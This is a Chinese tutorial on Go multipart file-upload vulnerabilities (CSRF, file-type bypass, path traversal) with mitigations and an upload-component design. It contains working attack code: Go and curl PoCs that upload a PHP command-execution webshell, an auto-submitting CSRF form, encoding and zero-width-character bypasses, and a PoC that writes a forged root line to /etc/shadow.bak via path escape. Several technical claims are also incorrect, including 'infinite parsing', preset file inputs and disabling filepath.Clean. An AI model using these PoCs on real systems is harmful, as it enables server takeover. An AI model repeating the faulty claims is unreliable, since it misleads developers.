第一章:Golang multipart/form-data上传漏洞全景扫描概述
multipart/form-data 是 Web 表单文件上传的标准编码类型,Golang 的 net/http 和 mime/multipart 包提供了开箱即用的支持。然而,其默认行为在边界场景下极易引入安全风险——包括内存耗尽、临时文件堆积、路径遍历、恶意文件执行及 DoS 攻击等。
常见漏洞成因集中在三个层面:
- 解析层失控:未调用
ParseMultipartForm前直接访问r.MultipartForm会触发无限解析; - 内存与磁盘滥用:
MaxMemory参数设为 0 或过大时,全部文件内容载入内存或写入临时目录,缺乏大小/数量限制; - 文件名信任误用:直接使用客户端提交的
filename字段构造本地路径,忽略 Unicode 归一化、../编码绕过(如%2e%2e%2f)及空字节截断。
以下是最小化安全初始化示例:
func uploadHandler(w http.ResponseWriter, r *http.Request) {
// 必须显式设置上限:32MB 内存缓冲,超出部分暂存磁盘
err := r.ParseMultipartForm(32 << 20) // 32 MiB
if err != nil {
http.Error(w, "Invalid form size", http.StatusBadRequest)
return
}
// 安全提取文件名:剥离路径、校验扩展名、生成随机前缀
file, header, err := r.FormFile("file")
if err != nil {
http.Error(w, "No file provided", http.StatusBadRequest)
return
}
defer file.Close()
safeName := filepath.Base(header.Filename) // 仅取 basename
if !isValidExtension(safeName) {
http.Error(w, "Unsupported file type", http.StatusUnprocessableEntity)
return
}
dstPath := filepath.Join("/tmp/uploads", uuid.New().String()+"_"+safeName)
dst, err := os.Create(dstPath)
if err != nil {
http.Error(w, "Failed to save file", http.StatusInternalServerError)
return
}
defer dst.Close()
io.Copy(dst, file) // 流式写入,避免全量加载
}
关键防护措施清单:
- 永远调用
ParseMultipartForm并设置合理maxMemory - 使用
filepath.Base()清洗原始Filename,禁用filepath.Clean()(可能保留..) - 对上传文件执行 MIME 类型二次校验(
http.DetectContentType+magic库) - 设置
ulimit -f限制进程文件大小,配合io.LimitReader控制单文件流长度
| 风险类型 | 触发条件 | 推荐缓解方案 |
|---|---|---|
| 内存溢出 | MaxMemory=0 或设为超大值 |
固定 32<<20,结合 http.MaxBytesReader |
| 路径遍历 | 直接拼接 header.Filename 到路径 |
强制重命名 + 白名单扩展名校验 |
| 临时文件泄漏 | 未清理 MultipartForm.File 临时文件 |
defer r.MultipartForm.RemoveAll() |
第二章:CSRF漏洞的成因与实战利用
2.1 CSRF在文件上传场景中的协议层缺陷分析
文件上传接口常被误认为“仅需认证即可免疫CSRF”,实则因HTTP协议设计固有特性而存在深层风险。
协议层信任链断裂点
浏览器自动携带Cookie、不校验Content-Type边界、允许multipart/form-data跨域提交——三者叠加构成CSRF利用基础。
典型攻击载荷示例
<!-- 恶意页面中嵌入的自动提交表单 -->
<form action="https://api.example.com/upload" method="POST" enctype="multipart/form-data">
<input type="file" name="avatar" value="exploit.jpg" />
<input type="submit" value="Submit" />
</form>
<script>document.forms[0].submit();</script>
此HTML无需JavaScript权限即可触发:
enctype="multipart/form-data"被浏览器原生支持跨域提交;<input type="file">虽不可脚本赋值,但攻击者可预置恶意文件(如含XSS payload的SVG)并诱导用户点击;表单提交时自动附带会话Cookie,服务端无法区分来源。
防御失效的常见误区
| 误判依据 | 实际有效性 | 原因说明 |
|---|---|---|
| 仅校验Referer | ❌ 低 | 可被伪造或缺失(隐私模式) |
| 依赖Origin头 | ⚠️ 中 | 部分旧浏览器/客户端不发送 |
| 检查Content-Type | ❌ 无效 | 浏览器强制设置,不可覆盖 |
关键防御路径
- 强制使用
SameSite=StrictCookie属性 - 文件上传接口必须校验
CSRF-Token(置于请求体或自定义Header) - 对上传文件元数据(如
Content-Dispositionfilename)做二次签名验证
graph TD
A[用户登录] --> B[服务端颁发SameSite=Strict Cookie]
B --> C[上传请求携带Cookie]
C --> D{服务端校验CSRF-Token?}
D -->|缺失/无效| E[拒绝请求]
D -->|有效| F[解析multipart边界]
F --> G[提取filename并验签]
2.2 构造无Token验证的multipart表单PoC(Go客户端+curl双实现)
核心攻击思路
绕过CSRF Token校验,直接提交multipart/form-data请求,触发服务端未鉴权的文件上传或表单处理逻辑。
Go客户端实现
package main
import (
"bytes"
"io"
"mime/multipart"
"net/http"
)
func main() {
body := &bytes.Buffer{}
writer := multipart.NewWriter(body)
// 添加恶意字段:filename为WebShell,content为PHP代码
part, _ := writer.CreateFormFile("file", "shell.php")
part.Write([]byte("<?php system($_GET['cmd']); ?>"))
writer.Close()
req, _ := http.NewRequest("POST", "http://target.com/upload", body)
req.Header.Set("Content-Type", writer.FormDataContentType())
http.DefaultClient.Do(req)
}
逻辑分析:使用
multipart.Writer构造合法边界与字段;CreateFormFile自动设置Content-Disposition;省略X-CSRF-Token头,直击无Token校验路径。关键参数:"file"为服务端预期字段名,"shell.php"需匹配后端白名单扩展名。
curl等效命令
curl -F 'file=@shell.php;filename=shell.php' http://target.com/upload
| 方式 | 优势 | 适用场景 |
|---|---|---|
| Go客户端 | 可嵌入自动化利用链 | 批量探测/集成进Exploit框架 |
| curl | 零依赖、调试即时生效 | 渗透初期手工验证 |
2.3 基于Referer/Origin头绕过的CSRF攻击链演示
现代Web应用常依赖 Referer 或 Origin 头校验请求来源,但该机制存在可被绕过的边界场景。
常见绕过条件
Referer在重定向、HTTPS→HTTP跳转时被浏览器自动剥离- 某些CDN或反向代理默认过滤或重写
Origin头 - 开发者错误地仅校验
Origin而忽略协议/端口一致性
攻击链关键环节
POST /api/transfer HTTP/1.1
Host: bank.example.com
Origin: https://attacker.com // 伪造Origin(服务端未校验端口/子域)
Cookie: session=abc123
...
{"to":"victim@bank.com","amount":1000}
逻辑分析:服务端若仅匹配
Origin.startsWith("https://bank.example.com"),则https://attacker.com.bank.example.com或https://bank.example.com.evil.net可绕过;参数Origin可被恶意页面直接控制,无需XSS。
防御有效性对比
| 校验方式 | 是否防绕过 | 原因 |
|---|---|---|
Origin === expected |
✅ | 严格全等,不可伪造 |
Origin.startsWith(...) |
❌ | 子串匹配易被构造 |
仅校验 Referer |
❌ | 可通过 <meta http-equiv="refresh"> 触发无Referer请求 |
graph TD
A[恶意页面] -->|发起fetch请求| B(Origin头可控)
B --> C{服务端校验逻辑}
C -->|宽松匹配| D[绕过成功]
C -->|严格全等| E[拦截]
2.4 利用Go net/http模拟跨域预检失败触发漏洞的完整流程
漏洞成因溯源
当服务端未正确响应 OPTIONS 预检请求(如缺失 Access-Control-Allow-Origin、Access-Control-Allow-Methods 或 Access-Control-Allow-Headers),浏览器将阻断后续实际请求,但部分客户端逻辑仍可能误判为“可通行”,导致权限绕过。
构建最小化易感服务
package main
import (
"log"
"net/http"
)
func handler(w http.ResponseWriter, r *http.Request) {
// ❌ 故意遗漏预检响应头,仅处理实际请求
if r.Method == "POST" && r.Header.Get("X-Sensitive") == "true" {
w.WriteHeader(200)
w.Write([]byte("secret_data"))
}
}
func main() {
http.HandleFunc("/api/data", handler)
log.Fatal(http.ListenAndServe(":8080", nil))
}
该服务对 OPTIONS 请求无显式处理,net/http 默认返回 200 + 空响应体,但缺失所有 CORS 预检必需头,导致浏览器判定预检失败,而某些前端 SDK 可能忽略此失败并发送后续 POST —— 形成逻辑漏洞链。
关键响应头缺失对照表
| 头字段 | 预检必需 | 当前状态 | 后果 |
|---|---|---|---|
Access-Control-Allow-Origin |
✅ | 缺失 | 浏览器拒绝读取响应 |
Access-Control-Allow-Methods |
✅(非简单请求) | 缺失 | 预检被拒绝 |
Access-Control-Allow-Headers |
✅(含自定义头) | 缺失 | 预检失败 |
触发路径示意
graph TD
A[前端发起带 X-Sensitive 的 POST] --> B{浏览器自动发送 OPTIONS 预检}
B --> C[服务端返回 200+空头]
C --> D[浏览器判定预检失败]
D --> E[部分前端逻辑仍发送原始 POST]
E --> F[服务端无鉴权直接响应 secret_data]
2.5 防御CSRF的Go服务端中间件实现与Token签发验证逻辑
中间件核心职责
CSRF中间件需在请求生命周期中完成三件事:
- 为非GET/HEAD请求注入并校验
X-CSRF-Token - 为含
Set-Cookie响应自动签发csrf_token(HttpOnly=false,SameSite=Lax) - 拒绝无Token或签名不匹配的敏感请求
Token生成与绑定逻辑
func generateCSRFToken(userID string) string {
// 使用crypto/rand生成32字节随机盐 + 用户ID + 时间戳哈希
salt := make([]byte, 32)
rand.Read(salt)
h := hmac.New(sha256.New, []byte(os.Getenv("CSRF_SECRET")))
h.Write([]byte(fmt.Sprintf("%s:%d:%s", userID, time.Now().Unix(), salt)))
return base64.URLEncoding.EncodeToString(h.Sum(nil))
}
逻辑分析:Token非单纯随机数,而是HMAC-SHA256签名,绑定用户ID与时间戳,防止重放;Base64 URL编码确保HTTP头兼容性;密钥
CSRF_SECRET必须强熵且保密。
验证流程图
graph TD
A[收到POST/PUT/DELETE] --> B{Header X-CSRF-Token存在?}
B -->|否| C[拒绝 403]
B -->|是| D[解析Token并校验HMAC签名]
D -->|失效| C
D -->|有效| E[放行]
安全参数对照表
| 参数 | 推荐值 | 说明 |
|---|---|---|
SameSite |
Lax |
兼容性与安全性平衡 |
MaxAge |
3600秒 |
Token时效避免长期泄露 |
Secure |
true(生产) |
强制HTTPS传输 |
第三章:文件类型绕过漏洞深度剖析
3.1 MIME类型伪造与Content-Type Header欺骗的Go服务端解析陷阱
Go 的 http.Request.ParseMultipartForm 和 r.Header.Get("Content-Type") 均不校验 MIME 类型真实性,仅依赖客户端声明。
常见伪造 Payload 示例
// 攻击者可发送:
// POST /upload HTTP/1.1
// Content-Type: multipart/form-data; boundary=----FakeBoundary
// ...(实际为 image/jpeg 二进制流)
该请求绕过前端 accept="image/*" 限制,后端若仅凭 r.Header.Get("Content-Type") 判断类型,将误信为合法 multipart。
安全解析三原则
- ✅ 检查
r.Header.Get("Content-Type")是否匹配multipart/form-data - ✅ 调用
r.ParseMultipartForm()前验证r.ContentLength - ✅ 对上传文件使用
mime.TypeByExtension()+http.DetectContentType()双重检测
| 检测方式 | 可靠性 | 说明 |
|---|---|---|
Header.Get() |
❌ 低 | 完全可控,易伪造 |
DetectContentType |
✅ 高 | 基于前 512 字节魔数推断 |
graph TD
A[Client Request] --> B{Content-Type header}
B --> C[Go ParseMultipartForm]
C --> D[Extract file part]
D --> E[DetectContentType on bytes]
E --> F[Compare with declared type]
3.2 后缀名白名单绕过:Go中filepath.Ext()与Unicode零宽字符实战对抗
filepath.Ext() 仅基于最后一个 . 截取后缀,不校验字符合法性,导致零宽字符(如 U+200B)可被隐式插入并干扰解析。
零宽空格绕过示例
package main
import (
"path/filepath"
"fmt"
)
func main() {
filename := "shell.php\u200b.jpg" // PHP后缀被零宽空格“隔离”
fmt.Println("Ext:", filepath.Ext(filename)) // 输出 ".jpg" —— 白名单校验失败
}
filepath.Ext() 从右向左扫描首个 .,U+200B 不影响分隔逻辑,.php\u200b.jpg 被识别为 .jpg,绕过 .php 黑名单。
常见零宽字符对照表
| 字符 | Unicode | 用途 |
|---|---|---|
U+200B |
ZERO WIDTH SPACE | 最常用,不可见分隔 |
U+200C |
ZERO WIDTH NON-JOINER | 阻断连字,干扰字符串归一化 |
绕过路径示意
graph TD
A[用户上传 shell.php\u200b.jpg] --> B[filepath.Ext → “.jpg”]
B --> C[白名单检查通过]
C --> D[文件保存为 php.jpg]
D --> E[Web服务器按 .php 解析]
3.3 文件头(Magic Number)校验缺失导致的恶意PE/JS文件落地复现
当边界设备或沙箱系统忽略对文件头 Magic Number 的严格校验时,攻击者可构造“伪装型”文件绕过检测。
常见 Magic Number 对照表
| 文件类型 | 合法 Magic(HEX) | 危险变体示例 |
|---|---|---|
| PE 文件 | 4D 5A(MZ) |
4D 00 5A(宽字符混淆) |
| JS 文件 | 2F 2A(/*) |
EF BB BF 2F 2A(带BOM伪JS) |
恶意落地复现实例(Python片段)
# 构造含BOM但内容为JS的混淆文件
with open("payload.js", "wb") as f:
f.write(b"\xef\xbb\xbf//\x00alert('xss');") # UTF-8 BOM + 空字节注入
该写入操作生成一个以 EF BB BF 开头、实际执行 JavaScript 的文件。多数轻量解析器仅检查前2字节是否匹配 /,却忽略后续 \x00 导致语法解析中断,从而绕过静态特征扫描。
校验失效链路
graph TD
A[上传文件] --> B{是否校验Magic Number?}
B -- 否 --> C[直接解包/执行]
B -- 是 --> D[比对前2/4字节]
D --> E[忽略编码/空字节/大小端]
E --> C
第四章:路径遍历漏洞的七种变体与Go语言特有风险
4.1 filepath.Clean()失效场景:嵌套../与URL编码双重解码导致的遍历PoC
filepath.Clean() 仅处理路径字符串的逻辑规整,不感知编码上下文,在 Web 服务中易被绕过。
失效根源
../嵌套(如a/../../etc/passwd)被 Clean 归一为/etc/passwd- 但若输入先经 URL 解码(如
%2e%2e%2f→../),再被 Clean 处理,攻击者可构造双重编码:%252e%252e%252f→%2e%2e%2f→../
PoC 演示
package main
import (
"fmt"
"net/url"
"path/filepath"
)
func main() {
raw := "%252e%252e%252fetc%252fpasswd" // %25 = '%', 故 %252e = '%2e' = '.'
decoded, _ := url.QueryUnescape(raw) // → "%2e%2e%2fetc%2fpasswd"
twiceDecoded, _ := url.QueryUnescape(decoded) // → "../etc/passwd"
cleaned := filepath.Clean(twiceDecoded) // → "/etc/passwd" ✅ 被突破
fmt.Println(cleaned) // 输出: /etc/passwd
}
该代码模拟 HTTP 请求中两次 URL 解码后交由 filepath.Clean() 处理的完整链路。filepath.Clean() 将已解码的 ../ 视为合法相对路径并向上归约,最终返回越权路径。
防御建议
- 在路径解析前强制规范化编码层级(如拒绝含
%25的路径) - 使用
http.Dir+ServeFile等安全封装,或改用filepath.Join("root", rel)+ 显式校验前缀
| 编码阶段 | 输入 | 解码结果 | Clean 输出 |
|---|---|---|---|
| 原始请求 | %252e%252e%252fetc%252fpasswd |
%2e%2e%2fetc%2fpasswd |
— |
| 第一次解码 | %2e%2e%2fetc%2fpasswd |
../etc/passwd |
/etc/passwd |
4.2 Go http.FileServer默认行为引发的目录穿越漏洞复现与日志取证
漏洞复现环境构建
启动一个未加防护的 http.FileServer:
package main
import (
"net/http"
"os"
)
func main() {
// 默认允许路径遍历:/..%2fetc%2fpasswd 可被解码并访问
fs := http.FileServer(http.Dir("/var/www"))
http.Handle("/static/", http.StripPrefix("/static/", fs))
http.ListenAndServe(":8080", nil)
}
该代码未启用 http.ToHTTPError 拦截或路径规范化,http.Dir() 仅做基础校验,不阻止 ../ 解码后越界访问。StripPrefix 仅移除前缀,不校验后续路径合法性。
关键风险点分析
http.FileServer内部调用http.Dir().Open(),依赖filepath.Clean(),但 URL 解码发生在路径拼接前- 攻击者可构造双重编码(如
..%2f..%2fetc%2fshadow)绕过简单过滤
典型攻击载荷与响应日志特征
| 请求路径 | 服务端日志片段 | 实际读取文件 |
|---|---|---|
/static/..%2fetc%2fpasswd |
GET /static/..%2fetc%2fpasswd HTTP/1.1 |
/etc/passwd |
graph TD
A[客户端发送URL] --> B[Go net/http 解码 %2f → '/']
B --> C[filepath.Join + Clean]
C --> D[未校验是否超出 Dir 根目录]
D --> E[成功打开 /etc/passwd]
4.3 multipart.FormFile返回的临时文件路径泄露与symlink劫持组合利用
Go 的 multipart.FormFile 默认将上传文件写入系统临时目录(如 /tmp/),并返回 *os.File 及其真实磁盘路径(通过 file.Name() 可获取)。该路径未做脱敏,构成信息泄露。
路径泄露示例
file, header, err := r.FormFile("upload")
if err != nil {
return
}
log.Printf("Leaked path: %s", file.Name()) // ⚠️ 如 /tmp/1234567890abcdef
file.Name() 返回底层 os.File 的绝对路径,攻击者可通过错误响应、日志或调试接口间接获取。
Symlink 劫持链
- 攻击者预创建指向敏感路径(如
/etc/passwd)的符号链接; - 利用竞态窗口,在
FormFile写入前替换同名临时路径为 symlink; - Go 内部调用
os.CreateTemp后直接os.OpenFile(..., O_CREATE|O_WRONLY),若路径已被 symlink 占据,则实际写入目标文件。
| 阶段 | 关键行为 | 风险 |
|---|---|---|
| 泄露 | file.Name() 暴露临时路径 |
提供精确劫持目标 |
| 竞态 | 替换 /tmp/xxx 为 symlink |
绕过权限校验写入任意位置 |
graph TD
A[客户端上传] --> B[Go调用 FormFile]
B --> C[生成临时路径 /tmp/abc]
C --> D[调用 os.OpenFile 写入]
D --> E[攻击者在C→D间替换为symlink]
E --> F[内容写入 /etc/passwd]
4.4 使用os.OpenFile配合相对路径参数触发rootfs写入的最小化PoC
核心漏洞链路
当容器以 --privileged 或绑定 / 到 /host 启动,且应用使用 os.OpenFile("../../../etc/passwd", os.O_WRONLY|os.O_CREATE, 0644) 时,相对路径可逃逸至宿主机 rootfs。
最小化 PoC 代码
package main
import (
"os"
)
func main() {
// 相对路径向上穿越3层目录,抵达宿主机 /etc/
f, err := os.OpenFile("../../../../etc/shadow.bak", os.O_CREATE|os.O_WRONLY, 0600)
if err != nil {
panic(err)
}
f.Write([]byte("root:$1$abc$xyz:19876:0:99999:7:::\n"))
f.Close()
}
os.OpenFile 第二参数启用 O_CREATE 与 O_WRONLY,第三参数 0600 设定权限;路径 ../../../../etc/ 在挂载 /host:/ 的容器中实际解析为宿主机 /etc/。
触发前提条件
- 容器挂载宿主机根目录(如
-v /:/host) - 应用未校验用户输入路径
- 进程具备对目标路径的写权限(如 root 或 CAP_SYS_ADMIN)
| 路径解析层级 | 容器内路径 | 实际落点(宿主机) |
|---|---|---|
./ |
/proc/1/root/... |
/ |
../../../ |
/proc/1/root/../.. |
/ |
graph TD
A[Go调用os.OpenFile] --> B[内核解析相对路径]
B --> C{是否跨越挂载点?}
C -->|是| D[使用宿主机VFS路径]
C -->|否| E[限制在容器rootfs内]
D --> F[写入/etc/shadow.bak]
第五章:综合修复方案与生产级上传组件设计
核心问题诊断与分层修复策略
在某金融 SaaS 平台的灰度发布中,用户上传身份证照时出现 32% 的失败率。经链路追踪发现:Nginx 限流未透传原始错误码(返回 499 而非 413)、后端 Spring Boot MultipartConfigElement 缺失 maxFileSize 显式配置、前端 React 组件未对 File.size 做预校验且未处理 AbortController 中断场景。修复采用三层协同:基础设施层升级 Nginx 配置启用 client_max_body_size 50M 并开启 proxy_buffering off;服务层注入 @Bean MultipartConfigElement 设置 10MB 单文件上限与 50MB 总请求体限制;前端层封装 UploadManager 类,内置文件类型白名单(image/jpeg, image/png, application/pdf)及大小实时校验。
生产级上传组件的架构契约
该组件遵循“零信任输入”原则,强制要求所有接入方提供以下元数据:tenantId(租户隔离)、uploadType(ID_CARD/CONTRACT/AVATAR 枚举)、expireAfterSeconds(默认 86400)。组件内部通过 UploadContext 对象统一承载上下文,并基于 @Validated 注解校验业务规则:
public class UploadRequest {
@NotBlank @Size(max = 32) private String tenantId;
@NotNull private UploadType uploadType;
@Min(300) @Max(86400) private Long expireAfterSeconds;
// ... 其他字段
}
异步任务与状态机驱动的可靠性保障
上传流程采用状态机管理,共定义 7 个原子状态:PENDING → VALIDATING → STORING → ENCRYPTING → INDEXING → NOTIFYING → COMPLETED。每个状态变更均持久化至 PostgreSQL 的 upload_jobs 表,并通过 pg_notify 触发监听器启动下一阶段。失败重试策略按状态分级:VALIDATING 失败立即终止并返回客户端;STORING 失败执行指数退避重试(最多 3 次,间隔 1s/3s/9s);ENCRYPTING 失败则触发降级路径——跳过加密直接存入冷存储桶,同步告警至运维平台。
容量规划与压测验证结果
使用 JMeter 模拟 2000 并发上传 5MB 文件(含 15% 网络抖动),关键指标如下:
| 指标 | 基线值 | 优化后值 | 提升幅度 |
|---|---|---|---|
| P99 上传耗时 | 8.2s | 1.7s | ↓79.3% |
| 内存泄漏率 | 12MB/min | 0.3MB/min | ↓97.5% |
| 失败自动恢复成功率 | 63% | 99.98% | ↑36.98pp |
压测期间通过 Prometheus 监控发现 upload_queue_depth 在峰值时稳定在 42±5,证实 Kafka 消费组 upload-processor-v2 的 8 个分区均衡负载。
安全加固与合规性落地
组件集成 Hashicorp Vault 动态获取 AES-256-GCM 加密密钥,密钥轮换周期设为 72 小时;所有文件元数据写入审计日志时自动脱敏 fileName 字段(保留扩展名,前缀替换为 SHA256 哈希);对接 GDPR 合规引擎,当 tenantId 属于欧盟区时,自动启用双区域冗余存储(AWS eu-west-1 + eu-central-1),并通过 aws s3 cp --storage-class STANDARD_IA 降低冷数据成本。
灰度发布与熔断机制
采用基于 Header 的灰度路由:X-Upload-Version: v2 流量占比从 5% 逐步提升至 100%,每阶段持续 2 小时。当 upload_errors_per_minute > 50 或 avg_upload_time_5m > 3000ms 时,Sentinel 自动触发熔断,将新上传请求路由至降级服务——返回预签名 URL 指向静态资源 CDN,同时记录 DEGRADED_UPLOAD 事件到 Datadog。
